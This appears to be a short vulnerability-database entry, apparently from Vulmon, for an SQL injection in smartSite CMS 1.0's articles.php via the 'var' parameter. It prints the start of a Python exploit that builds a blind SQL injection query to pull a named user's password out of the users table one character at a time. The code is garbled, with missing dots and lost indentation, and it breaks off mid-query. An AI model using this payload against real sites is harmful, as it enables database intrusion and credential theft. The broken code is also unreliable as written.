SQL injection vulnerability in articles.php in smartSite CMS 1.0 allows remote malicious users to execute arbitrary SQL commands via the var parameter.
#!/usr/bin/python
import sys
import re
from socket import *
class exploit:
def __init__(self,host,path,user):
selfhost=host
selfpath=path
selfuser=user
selfreg=recompile("<!-- END COMMENT FORM -->")
def set_query(self,n,ch):
selfquery="' OR ASCII(SUBSTRING((SELECT password FROM users WHERE userName='"+selfuser+"'),"+str(n ...
Vulmon